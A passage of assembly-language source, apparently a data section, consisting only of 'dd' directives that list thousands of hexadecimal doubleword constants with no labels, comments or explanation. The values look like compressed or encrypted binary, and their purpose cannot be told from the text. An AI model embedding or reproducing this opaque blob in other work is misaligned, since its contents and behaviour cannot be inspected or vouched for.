108098D0h, 4F8600E9h, 499AD8EAh dd 450006F8h, 7692C3D4h, 0BBBCD77h, 0B9EFB2F7h, 5F79D280h dd 58005AFEh, 7D42CE8h, 2996E0h, 3A7FCCF6h, 1E88E4D7h dd 3103E175h, 2F354D08h, 79AFB02Ah, 0A480C075h, 76BCFF11h dd 7C26B00h, 0FEBA663Dh, 5E5702E8h, 922EDE73h, 9364B080h dd 0EF03BF95h, 0DFC94CDDh, 1334C86Ah, 4B7D0003h, 38D8AC78h dd 0F10030FFh, 5E526482h, 0F19CD6Bh, 32E29B92h, 37E8D1C0h dd 2F3D9ABDh, 85E00047h, 0F88B63ACh, 26AD7DBEh, 0DEC428h dd 961FFB87h, 0A938F93Ch, 0F060819Eh, 0E8ED829Dh, 0D03256F1h dd 0D63BCF00h, 93A624FAh, 0DCBAC538h, 98007104h, 0D012C0B3h dd 48EE44A4h, 4600C568h, 0A078F96Eh, 0C40077DAh, 0AA617D3Dh dd 1C943B5Ch, 6FCD50h, 3583B416h, 51029B6Bh, 0F0A0B30Fh dd 74B4C0BAh, 3D4F00E0h, 63527F86h, 0FA017ACCh, 0FDE1CF96h dd 41E8540Dh, 8DDA02B2h, 78B594E4h, 0E5014440h, 0FA01CD79h dd 36B68CCh, 0AE60775Fh, 906675BCh, 727A019Ah, 0FAD41B0Bh dd 693ED8D3h, 5BCC0503h, 81F368DBh, 47C1CA22h, 0C3CFC4h dd 100E2538h, 9B69218h, 7F8B18C0h, 0F62CDBh, 51EC454Eh dd 0F192D2EDh, 41D5D800h, 181D43D6h, 0AA2E001Eh, 6DA9421h dd 3700E75Dh, 0D6A75B42h, 7B6AB16h, 0BB3379F7h, 0F83A011Ah dd 46587013h, 61929700h, 476DA598h, 3BC605B3h, 0C244FF73h dd 0A46819F0h, 87033C1Fh, 66B18892h, 0C3A0BDCh, 2400059Fh dd 586916EEh, 5EA40400h, 41A85285h, 0E56A0012h, 0A98B0E0Fh dd 0FD009F99h, 0E1358C4Dh, 757FB0FAh, 63400098h, 91F4725Bh dd 0F8A1879Fh, 691EFC31h, 92482707h, 0DA00E575h, 48863EDDh dd 7BB161h, 65E84CE0h, 93C4B2FAh, 0FE78CC26h, 0B9FEF800h dd 73AD5Bh, 0AB47C906h, 0BD07D8C8h, 0C74C480Ch, 6E49F7h dd 533291CEh, 8492CA90h, 747BFC02h, 80C245F1h, 0C3C64ACh dd 0A27F003Fh, 72EFE9Bh, 2C05A34Dh, 0EFE238EDh, 0D5243180h dd 0A05F001Ch, 972FD385h, 253B61EEh, 0AC4CD6h, 0AF94F55Ah dd 0C1641448h, 0EA7307E0h, 0F250746Eh, 215291C1h, 2EE4A858h dd 18A9001Dh, 8FE447Dh, 870094C3h, 0D16CDF6Dh, 1C5B3101h dd 9C134115h, 0D6D400EAh, 866F8BB2h, 0B77B5800h, 0B0F1482Bh dd 0BF34008Ah, 32685470h, 940542A2h, 0DE668026h, 6F25CC0h dd 0F803EA4Ch dd 5822006Fh, 0F7885F07h, 9600E78Eh, 2E0EED78h, 0FC3C3381h dd 1D6500ADh, 7D5379F4h, 0FC1FF2B2h, 98EC04ABh, 11EA9500h dd 10D1E29h, 7D10A5FDh, 0D8BD4048h, 8D008BCFh, 4F67BE64h dd 3C7AEC5Fh, 0D524905Dh, 0B4060E68h, 2CDD36A0h, 4D07F663h dd 3DF2AFAEh, 3F2F60CEh, 7C58E86h, 0BADC933Ah, 0CF22F3D9h dd 25315800h, 0D6736F09h, 70530778h, 2143C841h, 70C4EE27h dd 0CE149FD8h, 0C43B75h, 0A31C3692h, 0A41F4C6h, 579D2C3Fh dd 0EF6802BCh, 3342E0CDh, 0F959D400h, 2B06C2B0h, 4E84D3EEh dd 51E30B29h, 948026BCh, 0CB15E80Dh, 0C72FC900h, 77131218h dd 7F5F04E7h, 0C1ED58E9h, 80A1AD94h, 0CE9AAE88h, 0F0DB2Eh dd 443E27D4h, 0BCC5B528h, 316F20C0h, 4B0E48h, 0E63B68E5h dd 78FD9A3Fh, 0F40933Fh, 6055A08Fh, 0C0E903C8h, 148B00B6h dd 0E2A199FCh, 0F1009DFAh, 29286558h, 1F103CEFh, 7E2D565Ah dd 0CF54B00h, 0ED861D97h, 0E8B2A505h, 809094A4h, 0D1C564h dd 7560464Dh, 22F8AA41h, 0CA312D05h, 0B84B9207h, 0D580DF87h dd 0D0964C0Ah, 472C9900h, 5BB44E53h, 66C5004Bh, 4190E7D6h dd 200B858h, 74358E5Ah, 310C8Bh, 0EE84300Dh, 0F7975CA0h dd 64E0D800h, 879C541h, 4C9248B8h, 0A8CC5514h, 0DC6EC09Fh dd 8A76DF82h, 0DECB3E00h, 9C05B607h, 0FAED48C1h, 6602FD4Ch dd 86DB1828h, 0B050A487h, 0CF2DC30Ch, 13F76E1Dh, 57A36AC0h dd 1D5D6B6Dh, 959D802h, 44C040DDh, 7503A57Dh, 0E9F8AD81h dd 520FA86Ah, 85F90062h, 1767AA4Eh, 151DDA12h, 9D80A464h dd 73BE1431h, 0B6B9013Ch, 876307B8h, 0DC38AC9Ch, 0DC2C34AEh dd 0FADBD61Eh, 36A5A049h, 0B5081771h, 0AE8404C6h, 4AFBC016h dd 0ED3C1CCAh, 50313060h, 2225BFFh, 5D0FA52Bh, 404058FAh dd 7600FD56h, 0D092B6F0h, 7DE11F77h, 6BAF0C31h, 0B4C4444Fh dd 0D870A072h, 0FC60EE0Ch, 42755139h, 57AE1021h, 1100423Dh dd 24054816h, 0CA033869h, 547BECCEh, 3E93A83Ah, 961E00EAh dd 40B52AD8h, 0E23BC3B4h, 38620163h, 51BF74ACh, 850630h dd 0CFDC3CC9h, 4350873Fh, 7C72EA26h, 985C0301h, 0B028603Ah dd 0A7334100h, 7DA14B21h, 2FFA4F00h, 3CD66BE9h, 18F500B0h dd 2D9E445Dh, 5579A712h, 4A0060B8h, 8C5AFBABh, 0E6B081A2h dd 0BC13583Ah, 52AF6300h, 6569FF49h, 4000C075h, 0D7835AF7h dd 586A3D7Ah, 5B1612AFh, 5E6C4033h, 70EB883Eh, 48C68E18h dd 7FE460h, 68806FC7h, 0A74243A0h, 0FCCD3407h, 4AA0D62Eh dd 75D3200Fh, 9F5700C5h, 7CB2DFACh, 1BE05E1Fh, 0CBB7DD04h dd 0F0D231BDh, 0A8AE10D9h, 4C80F400h, 7B9F13C6h, 45F002FBh dd 5FA456BCh, 1FDAECC8h, 0E53D1100h, 0A5A0BD7h, 73A20BC5h dd 8C2730C6h, 6006C76Fh, 7771E0FCh, 0A8AC4128h, 0D2376B03h dd 80B21887h, 1A71B7Bh, 0F9649554h, 0E47F0EAAh, 24018FC9h dd 8718AE28h, 0C4700D9Dh, 0D43D0FE0h, 47808516h, 5EF61C61h dd 80B9683Ch, 6CE905AAh, 381E63h, 639955Fh, 3A5B619Ah dd 0C634DB19h, 846199E8h, 2B20DED5h, 97F90BE7h, 0DC80B6AFh dd 0B739ED2h, 102B7F00h, 958EB94Ch, 2C7F8Dh, 5B52717Ch dd 0C83768B2h, 551F7A00h, 2CC18AC4h, 0DCB00Bh, 252BEBB0h dd 0A59016CDh, 57365818h, 0BB60C92h, 7338263Fh, 0FD7A0481h dd 0A511203Bh, 0A742507h, 233987BDh, 0D0FC9E9Ch, 50F74D57h dd 58C582B9h, 8F00D69Ah, 433102D4h, 3E008827h, 0FB1749ABh dd 90E1B7C7h, 0AF55090Ch, 64A0235Ch, 0CD2BD0C1h, 7ACC416h dd 5B4CDD00h, 706124h, 0E131A00Bh, 833B87A2h, 3F01DE71h dd 68E9ECA1h, 0CDD80C12h, 0D9983931h, 33D62D00h, 0C0E61D07h dd 586EE400h, 9BADB2BCh, 704E38B5h, 0DF85280h, 98134BFCh dd 0E9665900h, 0FBDC2FA8h, 900B1856h, 29AD283Dh, 4400C773h dd 0BA3C6B09h, 56CE98h, 6A819FBFh, 821A19DDh, 0F5F15E00h dd 709EC815h, 71753058h, 3D6738ACh, 9B0064FAh, 237208A2h dd 0F26E0DEh, 0BF706DDFh, 0EEF75BE0h, 2B7E06C5h, 0CF0953Fh dd 908EE674h, 4D200040h, 906FA3CEh, 69003913h, 10181B2Ch dd 5E947Ch, 925C4073h, 0DE8FD98Dh, 0CB16B100h, 2E14226Ch dd 0B02C00A7h, 0C93B7793h, 0A603879h, 0A01CFE40h, 9F3900C0h dd 0C8B35DFDh, 0BF004BC2h, 0B987FAECh, 201C81h, 866D890Fh dd 3CDC2744h, 0A12F6700h, 9CA58497h, 0B2791EFFh, 765C40B5h dd 65803890h, 500DA900h, 634D9BFEh, 570B2F7Eh, 0B500BE5Eh dd 8E6D1A21h, 970E0084h, 3E3F7178h, 57001F9Dh, 2D4B8358h dd 3BAF4585h, 383D0AF1h, 35D03300h, 5255BD20h, 28FE740Eh dd 84EC809Ah, 70264Fh, 2B5712CAh, 803D2013h, 0E3FC2F00h dd 34713733h, 0D84700D3h, 6A8B7D07h, 0A6005B73h, 93ADA840h dd 0F239F7Bh, 0B219FFFBh, 0E7A38160h, 61EEB522h, 943CB01Eh dd 341C3F83h, 0E05AF067h, 0ADFD00CAh, 59BB5D90h, 7A0038DBh dd 3ABCEBD5h, 0F708C66h, 65FD823Fh, 0D24598C7h, 0DCA055AFh dd 0EFFE3558h, 0E99A9D00h, 80EB126h, 1717015h, 0AD117486h dd 0C4A67E3Ah, 72F8FF80h, 8DA4C018h, 0C960141h, 87F2037Fh dd 0DC008C10h, 0DC9CD5Fh, 0EF046Fh, 90DE7747h, 36254079h dd 0C0036490h, 2F19CD57h, 828AA8E3h, 136B003Fh, 7ADDD40h dd 0B6091676h, 47A7ABh, 0D1F0C484h, 6BFACF20h, 66C865C0h dd 50F8724Dh, 7DC33B00h, 238D78CDh, 696100BEh, 0CE39F15Fh dd 0FFE67799h, 43E5DB1Dh, 98009612h, 1BCA6030h, 0EFDF00CFh dd 4ADB58Bh, 4A01DB62h, 1F76FF32h, 0A609636h, 0C84B607Fh dd 0F994DE75h, 4EF6CD76h, 660D8F02h, 40D652C6h, 30F6E75Ch dd 92E033DFh, 3A2C21F4h, 2E00E328h, 0BB3E0B13h, 30CB01B0h dd 0BDC663FDh, 6AEA00D4h, 0CAA0009Dh, 662E3A90h, 0AA057085h dd 46831A72h, 0FC2D8000h, 76DB17DFh, 0BFAD0074h, 0D4E3E533h dd 5C0024D6h, 943E9F79h, 0B96AB8h, 0D732CE91h, 7B1C6265h dd 11811502h, 0C01990FCh, 988434h, 0D0B4F50h, 0A8E21845h dd 55D24400h, 59DC0941h, 5D72AFh, 0A275C8AAh, 2A334616h dd 48942C48h, 327A0325h, 0F83965F4h, 14F5D663h, 0E723E1ADh dd 1CA98D14h, 611FD502h, 9C404D76h, 0AA03E6F7h, 5FD28968h dd 43800075h, 0F0E4DEDBh, 7A1F708Dh, 20402B7Dh, 0CF5F63D1h dd 3B071F5Eh, 3ADC40E6h, 0D762AA29h, 69ED9D00h, 0D4F59A1Ah dd 0EBCF00EAh, 3F17DC15h, 0F407E59Eh, 88CE6906h, 66F3DE90h dd 0A37C0029h, 0DAEDF6B2h, 0A80083C3h, 22404894h, 729FC5h dd 27075735h, 99E65D37h, 2000FF98h, 0A3BBB249h, 11C3FCh dd 169093A2h, 0E95E6055h, 46EC2500h, 0F5BF9167h, 18F00098h dd 0C1E71758h, 221C8A01h, 6C4AA794h, 0D7808874h, 5A964EF9h dd 7AA90036h, 0ED2A9E97h, 8972807Eh, 50782300h, 2F6A87F1h dd 0DAD100AAh, 35632ED4h, 0A600CCDEh, 0EFAF66B7h, 2622D09h dd 0B16A2164h, 0D160F98Fh, 0DE16D677h, 2043AAA2h, 0D839BD80h dd 13259C30h, 26F658Eh, 29072AE0h, 2DA9E883h, 0B306FBB8h dd 8D1E0F00h, 0A6CB4AAAh, 0E56D002Eh, 0A3D2650Ch, 1A00F160h dd 541FCCC6h, 310B0FCh, 43939215h, 8094E29Eh, 64F26C3Ah dd 950FBB7Ah, 20CD6154h, 0E223B482h, 2EF607F8h, 3C8FAF4Bh dd 631CC1A1h, 0A4405B16h, 0B2AB999Ah, 0C47B1F98h, 3382C97h dd 44D3B0A8h, 0D1C5311Dh, 592EE0C1h, 5ED0DFB6h, 289C54AFh dd 5B150F96h, 8547A443h dd 0C0BD4F93h, 4D0342E5h, 5F0233F6h, 956B9007h, 0C89080FAh dd 0FB44E52h, 0AB30D873h, 0A9777EC7h, 9180318Fh, 0DDCE6E03h dd 480FC826h, 0C1A89818h, 4BEA33h, 3B4D60DFh, 0CE8322A4h dd 6E9E8501h, 34AAB1ACh, 0CD2FC081h, 0ECC12849h, 0CF18E39Dh dd 0E1C85D77h, 740150C6h, 3A4F49Ah, 486D9718h, 18003144h dd 0C539EFC1h, 1CE0B541h, 0C03B3E4Eh, 0F0E5445Dh, 0AF008062h dd 645B67CCh, 4CD31F11h, 4100F3C7h, 0A66140D6h, 0A003870Dh dd 0DFD72024h, 0CD599011h, 0DB9A030Ch, 89C99E77h, 0B9498F98h dd 0F4F74A00h, 5D41CCFAh, 3E3DE8CEh, 0E90251DEh, 0E88047Ch dd 6CAED760h, 43044977h, 322CF20Fh, 3530F087h, 159D39Bh dd 65E6830h, 0FC4D9DA5h, 6A58CDE1h, 0E9810046h, 0F35D5778h dd 0F475008Bh, 8E3C990Ch, 0D90F079Eh, 3C4C174Fh, 81D3803Dh dd 7F5B2065h, 83EAC8h, 60267A50h, 0ADD4483Ah, 5DF29900h dd 0FE633B43h, 0BAA4A0CDh, 86FC0077h, 9E5A91EEh, 0D70CE40Ah dd 74F8AAA7h, 3A9A7BABh, 0B0EACA8h, 0FC1E5680h, 8F76BF1Fh dd 3AAFB75Dh, 0F3D9E603h, 6ED0A2B3h, 0C8A132EFh, 11CC542Bh dd 0B0BA04ECh, 46C28FB4h, 0E30CAAC8h, 710D978h, 2E699500h dd 9A10CD85h, 0FDDF010Ah, 6226293Fh, 49C870E1h, 19D86B0Ch dd 44E4296Ah, 1644D699h, 27F34457h, 131812E7h, 228F9D9h dd 7E5C108Bh, 0FF08EC89h, 50270B20h, 442B3C9Fh, 50A0A082h dd 51CA25C8h, 22381433h, 28F4507Dh, 0C7428479h, 28830111h dd 9D2214A8h, 50BB50BDh, 7C9544B7h, 464E79C0h, 7E815D59h dd 3D380015h, 16704865h, 0C07DEF5Fh, 0AEFE732Eh, 67BEAC00h dd 8D6818h, 86BF401Dh, 7B215FC6h, 0F2007175h, 26F5FCE5h dd 0EE556924h, 2A370082h, 62717CD7h, 0AE00E62Ch, 311F071Dh dd 3DA07278h, 36804551h, 632744ACh, 1D0057DBh, 6A9F7FDEh dd 3E07FC39h, 0A6803CDFh, 0CC72F77Bh, 2C76CEC8h, 4AF8C300h dd 379B6097h, 664D00FAh, 1F02758Ah, 0AE00554Eh, 50F9579Eh dd 2E105B91h, 37F88A5h, 132B98D8h, 0C4601007h, 37E056D4h dd 2462E644h, 28A9A0h, 0AE65A783h, 391EEA58h, 7A945Dh dd 52EDB060h, 98631Ch, 0E0AEE587h, 0EC9B7C47h, 0E614340Ch dd 0B510E7h, 0C057B7CAh, 0E2AF157Eh, 2ABB4200h, 7CE7D271h dd 6756000Eh, 11C71372h, 5C2487ADh, 0B10E6480h, 3E0D00EEh dd 93E7F1h, 0ECB95026h, 4EABA7F3h, 0A6793100h, 0D1FA9F4Fh dd 0C7447B81h, 5067F918h, 7B7E47E6h, 0E24B7A01h, 0F3DA7801h dd 3E40DD8h, 79E3882Eh, 3290DFFAh, 1F004C7Eh, 0B9D2AD4Ah dd 0C0EE0DAFh, 0B1DC2820h, 87005ADEh, 415980A6h, 771E36F9h dd 0DC9CA01Ch, 0FFECABh, 0AFF29605h, 0E053D9CDh, 0D0DA091Fh dd 442AE640h, 90710A13h, 0B8A80FA3h, 0A0838F56h, 14B07970h dd 0ABEAF6AFh, 7592E301h, 4711BBADh, 545F6040h, 4ACE00FFh dd 6ED29A69h, 0A61411E2h, 0D0B9ABh, 0C9E0212Dh, 0D17CF0h dd 49413C16h, 2C04114Ch, 0F906A81Dh, 78957580h, 0F382A7h dd 0B958D494h, 0D162E2CBh, 0CD81F00h, 0E8818344h, 877A00B6h dd 25F95568h, 5E003E2Ch, 0EAA5C65Ah, 6EDE33h, 6944B89h dd 853B3540h, 8C1BF00Fh, 0F51040ACh, 2822E231h, 901977h dd 475A83B9h, 84B20F97h, 0D1C2C05h, 940F9446h, 0CAA12085h dd 93BD3F4h, 0C5A3ABBBh, 3DF16482h, 61059844h, 64A4B0D4h dd 31D9FC43h, 32F1B08Dh, 9DDF008Bh, 79E4719Ah, 681ED111h dd 80BFD7CDh, 6690BB7Ch, 729832h, 96C903C2h, 7DE4EC07h dd 0D625B400h, 43EBD779h, 0C8170048h, 0F6447E10h, 7C00D926h dd 8228078Bh, 0AF68D7h, 69EA218h, 838936E2h, 330F501h dd 69D7C557h, 1D5A5820h, 0C0FFCF24h, 1DFEB2C9h, 2B025DD9h dd 664295D6h, 0F43B606Ch, 550600C4h, 0A8B6C5CFh, 0D1003BE5h dd 8051F64Bh, 24E3B421h, 30F44A9h, 47EBCBE1h, 243811A1h dd 633EB1E4h, 517E12C7h, 44D27840h, 12DE48h, 3963AA9h dd 0A2DA1387h, 80E3653Ch, 69ABFFEDh, 4576AF3h, 369D50D6h dd 52438015h, 120055DBh, 0E20F452Eh, 0AA5317h, 0E0AFDE80h dd 466C09E7h, 0A0D7731Eh, 1E7DE340h, 667D0h, 943E599Bh dd 866ECE4Ch, 0C6A0CF09h, 0B03F80FDh, 12E0D5Bh, 0C1432541h dd 0DC85605Dh, 3100ECA9h, 4EDD2620h, 808945h, 5E1A02FAh dd 3216670Ch, 46194300h, 53A18E47h, 0A6B10004h, 6D5123A0h dd 5B00B25Dh, 72A89873h, 24499A8Ch, 84843Fh, 3C64A0B1h dd 7001F0E1h, 0A8C59D99h, 4FD4F5D1h, 5DBD021Bh, 0CCFBF65Eh dd 0ED08E4A3h, 665F20D8h, 0C3ACE900h, 12A592DBh, 367094Eh dd 8401B1C0h, 3056A245h, 3604DEE0h, 0ED1AA6AAh, 4B9110C0h dd 5BD93A17h, 82DD4A00h, 0F4540B34h, 0D6880400h, 6A6F32F0h dd 0AB97011Bh, 0E9949B1Dh, 0EC402128h, 0FA00CCF4h, 0C7A75ED3h dd 0A93799h, 0AEC449D0h, 1378ECE4h, 0CF9D700h, 0DB31838Dh dd 381238B8h, 232A3B04h, 68698076h, 0B07377F3h, 727BA300h dd 6C8404DCh, 692B005Bh, 0E5FBA907h, 8C3E06F7h, 0A87980C4h dd 786528D7h, 0C0DE00B4h, 4E2FEE52h, 0C707E78Eh, 95C90C0Eh dd 0AF51DC60h, 0EAB100D9h, 7967496Bh, 5D0F5817h, 0C0BA7A13h dd 0B55E4D8Eh, 0EBA200B7h, 493BE491h, 380779EDh, 0C97843D1h dd 2A8440CFh, 0E5B3F95Fh, 6C730C0h, 0D32C5BFDh, 1F0392E1h dd 49BAF5C3h, 0E42DF90Ch, 67529CCh, 0D8694401h, 0AE0059B9h dd 0DCF9199Ah, 0F2A4833Fh, 0AF79CEh, 689F2075h, 0F5EC9246h dd 80D53B2Eh, 9AACE801h, 0A8301A1Dh, 182D00C9h, 0BEAE71E1h dd 3900591Eh, 0EEA8DE4h, 4FFD307h, 2D37773Bh, 63C0FBADh dd 622FC2Fh, 1D593532h, 83265499h, 9100968Fh, 1217CB13h dd 3D8C007Dh, 6478F80Dh, 0E2021B25h, 0C3A86BFFh, 8CF4C84Ch dd 0CAAD009Bh, 47338E3Fh, 0F5047917h, 0A950E7BDh, 39F0AC80h dd 230600D2h, 0CEC61F9Fh, 0E1001ADEh, 6807A305h, 1CF661h dd 264841CBh, 598A32C0h, 0A3508E00h, 92A79157h, 46AD0028h dd 0BCFE3F2Ah, 880043FFh, 0C8A33EEDh, 55D2741h, 33CEB7Eh dd 0DB138078h, 450092C2h, 4A64F95h, 177748Bh, 7089F74Bh dd 0D85F5259h, 0B902E497h, 1BA2C66Fh, 239C40AFh, 9F37C94h dd 49340F01h, 2126D800h, 0A300F995h, 615372F4h, 7C1652C9h dd 0C0B3079Eh, 107E1976h, 3C49A5B0h, 0D009E600h, 1BDC5A84h dd 0D489002Bh, 7A2324ACh, 0C8F6F1E4h, 0E6C9B900h, 8168FEC1h dd 9EDD0283h, 61673A33h, 0D7D09240h, 3C5A9B00h, 8B62B1BDh dd 52341D11h, 2D402DCEh, 0A00C5081h, 183BE860h, 0E3B5060Fh dd 10049629h, 33236C1Eh, 1424AE43h, 6E88045Ch, 0A079B840h dd 90001008h, 0AA26DAEBh, 0FE6750h, 0BABD2054h, 9BF7523h dd 0EC839900h, 0FDF7C6A9h, 0FA5B007Ah, 0E037CA28h, 0E300E7F8h dd 5577911Ch, 3D8CBACEh, 0A0E2FEECh, 0E8E8AA67h, 0B40F7FB9h dd 80589220h, 1397C975h, 3F1700C4h, 0D61DBCB8h, 5B00F7B4h dd 0BAADF3Ah, 70FC2305h, 0EA1F00B0h, 6C15F34Bh, 38580D37h dd 0F71B0F47h, 2FB4C2DEh, 0D3005DC1h, 45D55F43h, 11096900h dd 8FD935F1h, 75BF837h, 0DEEC0FD7h, 69680076h, 4A01AE8Eh dd 9BB36401h, 637008EDh, 75A80042h, 0EFB5683Fh, 5D007F14h dd 9856C27h, 0EEB0B1BBh, 0C4E00242h, 7B2ED3A5h, 21AF81E1h dd 465FC09Eh, 0EFA9A612h, 39BFC445h, 7BE62FC0h, 8EDC26C1h dd 0F5F305C0h, 0AF8000EBh dd 72EE5F1h, 0FA32B300h, 5629CF53h, 82F5048Eh, 807DF7C0h dd 0BE99BC8h, 0DB7A58h, 758A47B0h, 0D4921A4Ch, 230FDEACh dd 0D62073D9h, 0AD2C5D04h, 80619D38h, 86E9BF31h, 0F87B52AAh dd 8BA700D8h, 672743Dh, 8F3D6A22h, 8000F0A8h, 0B8ABDAECh dd 0E8AE41E5h, 0D8A760A6h, 5744788Fh, 0A8ABF12h, 0C4DF800h dd 7D5493ADh, 0B1153EFCh, 2ACA9Eh, 0E98B8831h, 5BEAE21Ch dd 8720212Fh, 1320A5DDh, 78E29h, 980CF093h, 7484245Ch dd 5264417Fh, 0E3202660h, 0A12CF1ECh, 0B012868h, 85E19D1h dd 21949841h, 2616C070h, 13B020h, 99AF53BDh, 2A02BFF0h dd 76D2EE43h, 0CDC4E088h, 3634005Ah, 0A54790AFh, 41C0CFACh dd 2677792Dh, 6E020033h, 32055771h, 5400D0B3h, 8ED3675Bh dd 4E93E67Bh, 794000F3h, 4368A333h, 9FB23900h, 0CA7299B8h dd 157D006Bh, 0C6AF5091h, 9C00CFEDh, 1F38B5E6h, 8BDF41h dd 0DCA65BEAh, 6335AB53h, 213E6D03h, 0FC0DBBB8h, 1C640CA0h dd 0F30C7E40h, 0D4984C28h, 1496CB5Ch, 3059AA00h, 2D6BC85h dd 0D82210E2h, 0D0644C5Dh, 26051600h, 21F2FC25h, 3A350036h dd 0C51978DCh, 862CBA2Eh, 0FD00ECEBh, 11F484CEh, 0BE9405D8h dd 7DD8F96h, 40630888h, 4033A3F1h, 6865B900h, 364F2C7h dd 0D6CE00A2h, 7799727Ah, 0AC00AE7Eh, 8E9E1E6Dh, 53C27Ch dd 865CDA71h, 6F58F8EDh, 8AEFC40Ah, 911D9C80h, 431C440Fh dd 0D8F95550h, 0EC3108A5h, 7BAF0098h, 0D6B5BE8Bh, 0DB59EC9Bh dd 5DCD13E2h, 9C33803h, 0B1BCE01Fh, 0A5B70288h, 1E52247h dd 192560E0h, 0DE3DF600h, 130279D5h, 23180148h, 0F382849Dh dd 1EB42CCDh, 0DF44401Ch, 94C22F5Ah, 0BBA0404Eh, 0B128075Eh dd 60421CEDh, 0D070A4F7h, 0FA24D802h, 40E3ACA3h, 3D8EAD40h dd 24F0194Bh, 12CCE7Ah, 0EBB3206h, 74120BDh, 2737D400h dd 0B7771703h, 0E15F58B4h, 5EF66805h, 0C2AD8010h, 9E02ADCBh dd 53B21357h, 90C880EAh, 58621BCEh, 0DF0072A0h, 70766588h dd 1800225Eh, 10E09DBBh, 34F82Bh, 0F0EEE850h, 85DE369Eh dd 746BC409h, 0C8D4C0B8h, 47EB1CC5h, 0C017DC67h, 94A49B18h dd 0FC0098E6h, 56C8C283h, 71362D15h, 0FAFE00E5h, 0B86A70D9h dd 8E0141F2h, 0E2F3AA92h, 9ECCA0C0h, 1261009Bh, 5830A4EFh dd 4C71F5D6h, 9D4E7C03h, 0DDEC9170h, 12763F86h, 8C0C2E25h dd 21CA8E4h, 5240033Ah, 9FD1F2B7h, 809650CAh, 0EC70160Eh dd 0AA2A03D9h, 5CB84C1Dh, 0EA026735h, 65A19273h, 0B04063C5h dd 3A5E382h, 9F4E30CAh, 3291580Ah, 55D6F411h, 0A8C18502h dd 809368F9h, 415245A8h, 0E0F30070h, 0B6C94E06h, 220349B0h dd 7828D1C5h, 0FB42D8ACh, 6098006Ch, 415936Eh, 150630Dh dd 7C1655C0h, 3E1ED7B4h, 0B2ED6B81h, 40709F57h, 0FFE512DAh dd 40B700DEh, 9130993Ch, 97CDBFA0h, 0C9B56107h, 1CA0627Dh dd 25ED3FDh, 0BC4F1AA6h, 7FE0426Ah, 8E78B623h, 3ECA0500h dd 0C7E1D2ECh, 7CC1007Fh, 0A02942F7h, 0F248A418h, 0E7171473h dd 0B91A07DCh, 89102A0Eh, 0DE3EF5h, 966B9DC4h, 23A68355h dd 47D47700h, 0BA15C339h, 69F33E06h, 0D117B05h, 124BC19h dd 84D42C71h, 0EAD5B930h, 50A1DC40h, 21AD0175h, 7D231A57h dd 0AEEC74ABh, 0F32CDAF8h, 0A680E46Ah, 74826594h, 0D56100AFh dd 0F85133AEh, 92094820h, 208BD7F2h, 9F4CC8F8h, 0A24E505Ch dd 520E0084h, 0BEB2E0F4h, 0A009771h, 0DEB75383h, 1208275Eh dd 0C076D709h, 19690F3Ch, 0B8BBF009h, 774C8323h, 83D0F8F7h dd 110DF1Dh, 0CC1ED186h, 0AD030A7h, 5AB0320h, 0B8ECC56Ch dd 0E01C013Bh, 207A905Eh, 6D27D430h, 172C0379h, 6044C0A4h dd 5E950022h, 460E721Bh, 392CE791h, 41070836h, 2E415558h dd 0F9F4DBACh, 0C07900DEh, 0B2760904h, 7D0E250Fh, 208213C3h dd 56BEDB85h, 96AF0C1Fh, 8B31BBDAh, 83635707h, 7A905E97h dd 0DB2221h, 0A85CE3F1h, 39CBC11h, 4F2D1974h, 0B64C0264h dd 10C880A3h, 0E0AE4569h, 5AE6DEh, 0EAD226A5h, 7F3515C5h dd 0E1F241Eh, 0F91A5B40h, 1EC790B8h, 169F16B5h, 0B34800C3h dd 2875D887h, 92948902h, 0C06ED63Eh, 8DF030h, 5DFF20A7h dd 2414C76Bh, 3005B7Fh, 0EE1CE12h, 4C59C6h, 8D2D1709h dd 0BF2CB4EDh, 5D71DCE8h, 10BB6330h, 9A92F3h, 0CEFB3627h dd 5877F1C7h, 0D00D48C0h, 50723Bh, 0C8CA3718h, 1047AF93h dd 0D7AEB107h, 8F308C2Bh, 39968303h, 7F802CC0h, 3EDA0E35h dd 2700BEB1h, 0FEA27007h, 38D5F513h, 0C30F7523h, 5D412B18h dd 0F8FBB039h, 8700D774h, 575C7337h, 0FA1E5F8Dh, 91C00C1h dd 3EA8F14Ah, 80B83412h, 92DD4300h, 22CBB8D2h, 460F04Fh dd 41E8DABCh, 61580B2h, 0B6F23C31h, 0E9581F00h, 0E191B7A6h dd 7497184h, 9BA33E60h, 7D192016h, 0F03465Bh, 6E14EE2Fh dd 2D8800FBh, 53E9D140h, 160B3409h, 7AC5F75h, 57F0260Dh dd 0C531DCh, 1F7A2161h, 0D5D19DC8h, 7972E91Fh, 7C71803Dh dd 0D2E5ACF3h, 3E5E00FBh, 0E28F62B0h, 0F103399Bh, 53A04722h dd 806DF081h, 7F60046h, 31B086F0h, 0F76013F3h, 0E384C10h dd 0AB17004Bh, 0E8663A7Bh, 92FCE2D3h, 0F0AC3030h, 5C8E5C16h dd 4D0A4F22h, 0B00BB7h, 246D29CEh, 0F31D55E0h, 0A6001383h dd 75ADA8B0h, 99D0622h, 0A862591Dh, 79380B00h, 0ED281E60h dd 0D9D80205h, 5ECFCD65h, 1847E40h, 55A84D00h, 91177735h dd 222EE8Eh, 0B5FF3FD7h, 0DCA05239h, 1C375D07h, 5003877h dd 899791Fh, 1AC102Eh, 0DE0CFFA6h, 0C08B010Fh, 0A1DA29Fh dd 9C14CB86h, 762018Ch, 0F9417EA3h, 4B76489Dh, 0B008832h dd 0DB1CEEF6h, 0A7CD8300h, 7B4C2558h, 98C90084h, 0B49F14FAh dd 0E3E06366h, 11263F00h, 2AAF044Dh, 70C900E5h, 0D2D74658h dd 2F00296Eh, 185259A2h, 0B161Bh, 571F9A47h, 3061EB7Fh dd 443CFB05h, 25C05D9Dh, 1E5117F1h, 1E3B8DAh, 1F864D6Ch dd 400BD7D9h, 6343E2h, 0C1131E0Dh, 0AC749Ch, 0A5A232CEh dd 0A779C82Fh, 68719E1Fh, 0DC48EF8Ah, 0B8213400h, 1D1E4DCh dd 84983511h, 6041BD28h, 800F808h, 0E559B093h, 9C7097h dd 0A71D67D1h, 0BBBCE913h, 178DC3Fh, 82C10AD3h, 8AEC52E2h dd 792707F5h, 2ADA94h, 0E4DEC37Ch, 1385CA00h, 0B998BC73h dd 1A360050h, 6F75DBF5h, 20B4C5Dh, 0DF6586h, 0E50D4813h dd 0AB723A3Ah, 0BC0BD983h, 40A5D262h, 92A7CEC0h, 1B388351h dd 0F57900C6h, 0D2366E90h, 5AC93AEFh, 0AFBFC501h, 200AB0FFh dd 3267884h, 1300EA9Eh, 20818432h, 1A0F037Bh, 7434BADBh dd 0CD95E100h, 